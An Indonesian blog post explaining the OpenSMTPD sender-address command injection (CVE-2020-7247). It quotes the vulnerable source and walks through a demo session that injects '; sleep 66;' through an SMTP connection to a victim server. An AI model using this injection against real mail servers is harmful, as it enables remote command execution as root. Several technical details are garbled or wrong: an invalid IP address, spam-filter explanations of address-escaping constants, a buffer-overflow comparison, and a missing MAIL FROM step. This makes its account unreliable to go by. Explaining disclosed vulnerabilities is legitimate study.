021 53164806
Mempelajari Bug OpenSMTPD di Sistem Operasi OpenBSD

Mempelajari Bug OpenSMTPD di Sistem Operasi OpenBSD

Mempelajari Bug OpenSMTPD di Sistem Operasi OpenBSD

OpenBSD adalah sebuah sistem operasi derivatif UNIX yang seringkali di gunakan
sebagai server,seringnya email dan DNS server maupun sarana penelitian
pada era 2006-2010 sistem operasi ini cukup populer di gunakan
di karenakan kemudahannya porting pada OS lain dan tingkat keamanannya yang cukup memadai
terlebih jika di bandingkan pada masa itu dimana banyak bermuncuan varian baru dari linux
yang malah menimbulkan banyak kelemahan.

Tersiar kabar pada akhir 2009 bahkan sekelas kepolisian federal Amerika Serikat (FBI) pun
tertarik untuk melakukan backdooring (sederhananya program mata-mata)
hal itu di kuatkan oleh berita dari theregister.co.uk/2010/12/15/openbsd_backdoor_claim

Untuk mempelajari OpenSMTPD ada baiknya kita membaca manual yang di sediakan
untuk akses mudah dapat mengunjungi github.com/OpenSMTPD/OpenSMTPD/releases
di situ di sebutkan bahwa sisi server ESDA atau Elliptic Curve Digital Signature Algorithm
telah menyediakan paket TLS secara otomatis.

Cara Kerja OpenSMTPD

OpenSMTPD Adalah sebuah daemon / service dari perangkat lunak yang mengerjakan
penerimaan email dari client maupun server
ketika kita melakukan koneksi pada serveryang menggunakan OpenSMTPD
lalu mengirimkan sebuah paket data yang berisi email ke port 25 (default smtp) yang kemudian oleh server
akan di proses mail agent menggunakan dekripsi pesan
uniknya openSMTPD ini memiliki string MAILADDR_ALLOWED yang mendifinisikan karakter
non ALFA NUMERIK yang memperbolehkan dari alamat email yang valid (apabila sebelumnya tak terdeteksi spam)
yang kemudian akan di masukkan pada inbox,namun jika telah terdeteksi spam
maka,string MAILADDR_ESCAPE akan menempatkan email tersebut pada spam.


Cara Kerja Exploitasi pada BUG OpenSMTPD

Mari kita bedah source code di bawah ini

2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218     if (!valid_localpart(maddr->user) ||
2219         !valid_domainpart(maddr->domain)) {
....
2229             if (maddr->domain[0] == '\0') {
2230                     (void)strlcpy(maddr->domain, domain,
2231                         sizeof(maddr->domain));
2232                     return (1);
2233             }
2234             return (0);
2235     }
2236
2237     return (1);
2238 }


kita lihat pada string smtp_mailaddr () tampak melompati filtrasi dan langsung menyetujui
address pengirim beserta isi dari email itu yang seringnya berisi command yang membahayakan
yang di maksud alamat email di sini ada 2 part
dimana part lokal dan part domain itu sendiri.

Kalau saja alamat pengirim terdapat part lokal yang invalid
dan part domain yang kosong,maka smtp_mailaddr () mencoba membantu menambahkan domain default ke alamat
dan hanya memberi command OK saja pada penerimaan email.

Hal yang di akibatkan oleh tindakan attacker dengan mengirimkan char yang membahayakan sistem
tidak di filtrasi dengan ';' secara khusus '' direct ke shell yang menjalankan perintah [sender agent]

Mari kita coba lakukan koneksi ke server korban melalui jalur telnet

nc 192.168.4.440 25

Terdapat reply dari server korban seperti berikut

220 percobaan.mailserver.mcd.co.id ESMTP OpenSMTPD

Kita coba reply welcome message tersebut dengan :

HAI server.mcd

250 percobaan.mailserver.mcd.co.id Hai server.mcd [192.168.4.440], pleased to meet you

Sekarang kita coba bikin server itu error sebentar saja dengan memasukkan command sleep 66
yang berfungsi membuat server email tersebut menjadi hang dalam waktu 66 detik
melalui delivery agent

Kalau di sisi root,maka perintah itu akan membuat system seperti

/usr/libexec/mail.local -f; sleep 66;

Tampak balasan dari server adalah : 250 2.0.0 Ok

Dan kita coba lagi kirim email melalui terminal

RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

Hallo tim,apa kabar madrid?
.
250 2.0.0 e6330998 Message accepted for delivery
QUIT
221 2.0.0 Bye


Menurut qualys qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt
yang menemukan bug dan teknik exploitasi pada daemon ini adalah
yang jadi masalah utama adalah,bahwa mail service tersebut menerima karakter (" $ "," | ")
dengan panjang karakter yang di izinkan hingga 64 char
dimana hal itu membuat system menjadi buffer,sebenarnya hal ini tidak jauh berbeda
dengan cara kerja buffer overflow

Referensi : https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt

Share This

Comments